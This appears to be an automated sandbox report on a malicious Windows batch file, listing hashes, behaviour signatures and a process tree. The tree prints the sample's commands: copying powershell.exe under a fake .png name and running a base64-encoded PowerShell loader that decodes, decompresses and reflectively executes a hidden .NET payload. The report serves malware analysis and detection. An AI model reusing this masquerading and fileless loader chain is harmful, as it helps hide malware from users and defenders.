f05e402110f6b8c82c0683d5882cbb6e73cb132927e47c384181ffca3b6c96fb

General

Target

b78cf80d94f017c5f389590f2f3b312f1694d93e5e6aebf296e46b5b9dbca2da.bat
Size

1018KB
MD5

e4e1075b03f102d9d07619194b7e5fbb
SHA1

ef833d4052c3efff9315c8f2845c2d5e20f7165f
SHA256

b78cf80d94f017c5f389590f2f3b312f1694d93e5e6aebf296e46b5b9dbca2da
SHA512

1faffae63d7e4731ecc30b1c02f60625632d5c2cc9944dc2870acf75fcb50bd66cd32f893f68a2400bdd21f06da6086a760c3b654969829114c857faeaeb432e
SSDEEP

24576:/qfa722mM+vmWw3/MzxW2LhbOTx61lx6ULpzF:ku+HxVbOVyT

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2748	Eoqrexflxja.png

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2748	Eoqrexflxja.png

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2748	Eoqrexflxja.png

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2748	Eoqrexflxja.png

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2036 wrote to memory of 3000	2036	cmd.exe	29
PID 2036 wrote to memory of 3000	2036	cmd.exe	29
PID 2036 wrote to memory of 3000	2036	cmd.exe	29
PID 3000 wrote to memory of 1244	3000	cmd.exe	31
PID 3000 wrote to memory of 1244	3000	cmd.exe	31
PID 3000 wrote to memory of 1244	3000	cmd.exe	31
PID 3000 wrote to memory of 3068	3000	cmd.exe	32
PID 3000 wrote to memory of 3068	3000	cmd.exe	32
PID 3000 wrote to memory of 3068	3000	cmd.exe	32
PID 3000 wrote to memory of 2680	3000	cmd.exe	33
PID 3000 wrote to memory of 2680	3000	cmd.exe	33
PID 3000 wrote to memory of 2680	3000	cmd.exe	33
PID 3000 wrote to memory of 2724	3000	cmd.exe	34
PID 3000 wrote to memory of 2724	3000	cmd.exe	34
PID 3000 wrote to memory of 2724	3000	cmd.exe	34
PID 3000 wrote to memory of 2748	3000	cmd.exe	35
PID 3000 wrote to memory of 2748	3000	cmd.exe	35
PID 3000 wrote to memory of 2748	3000	cmd.exe	35
PID 3000 wrote to memory of 2748	3000	cmd.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\b78cf80d94f017c5f389590f2f3b312f1694d93e5e6aebf296e46b5b9dbca2da.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\b78cf80d94f017c5f389590f2f3b312f1694d93e5e6aebf296e46b5b9dbca2da.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:1244
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Eoqrexflxja.png
    3⤵
    PID:3068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2680
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\b78cf80d94f017c5f389590f2f3b312f1694d93e5e6aebf296e46b5b9dbca2da.bat C:\Users\Admin\AppData\Local\Temp\Eoqrexflxja.png.bat
    3⤵
    PID:2724
- - C:\Users\Admin\AppData\Local\Temp\Eoqrexflxja.png
    C:\Users\Admin\AppData\Local\Temp\Eoqrexflxja.png -win 1 -enc JABVAGQAbwByAGoAbgBhAHEAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQAQwB4AGkAcwBmAGYAZgBzAG8AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVQBkAG8AcgBqAG4AYQBxACkAOwAkAFgAeQB4AGcAaQB0AGIAcAB4AG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEMAeABpAHMAZgBmAGYAcwBvACAAKQA7ACQAbwB1AHQAcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFkAcQBqAHoAdgBuAHQAZQB1AHoAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAWAB5AHgAZwBpAHQAYgBwAHgAbgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQBxAGoAegB2AG4AdABlAHUAegAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAWQBxAGoAegB2AG4AdABlAHUAegAuAEMAbABvAHMAZQAoACkAOwAkAFgAeQB4AGcAaQB0AGIAcAB4AG4ALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABDAHgAaQBzAGYAZgBmAHMAbwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABDAHgAaQBzAGYAZgBmAHMAbwApADsAIAAkAEQAcQBpAGMAeABrAGkAagBxAGIAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABDAHgAaQBzAGYAZgBmAHMAbwApADsAIAAkAEIAcwBsAHQAbgAgAD0AIAAkAEQAcQBpAGMAeABrAGkAagBxAGIAZAAuAEcAZQB0AEUAeABwAG8AcgB0AGUAZABUAHkAcABlAHMAKAApAFsAMABdADsAIAAkAEkAawB4AHUAdgBsAGUAaABpAGIAIAA9ACAAJABCAHMAbAB0AG4ALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQBbADAAXQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Eoqrexflxja.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Eoqrexflxja.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2748-8-0x0000000074310000-0x00000000748BB000-memory.dmp

Filesize
5.7MB

Download
memory/2748-10-0x0000000001F00000-0x0000000001F40000-memory.dmp

Filesize
256KB

Download
memory/2748-9-0x0000000074310000-0x00000000748BB000-memory.dmp

Filesize
5.7MB

Download
memory/2748-11-0x0000000001F00000-0x0000000001F40000-memory.dmp

Filesize
256KB

Download
memory/2748-12-0x0000000074310000-0x00000000748BB000-memory.dmp

Filesize
5.7MB

Download

Analysis

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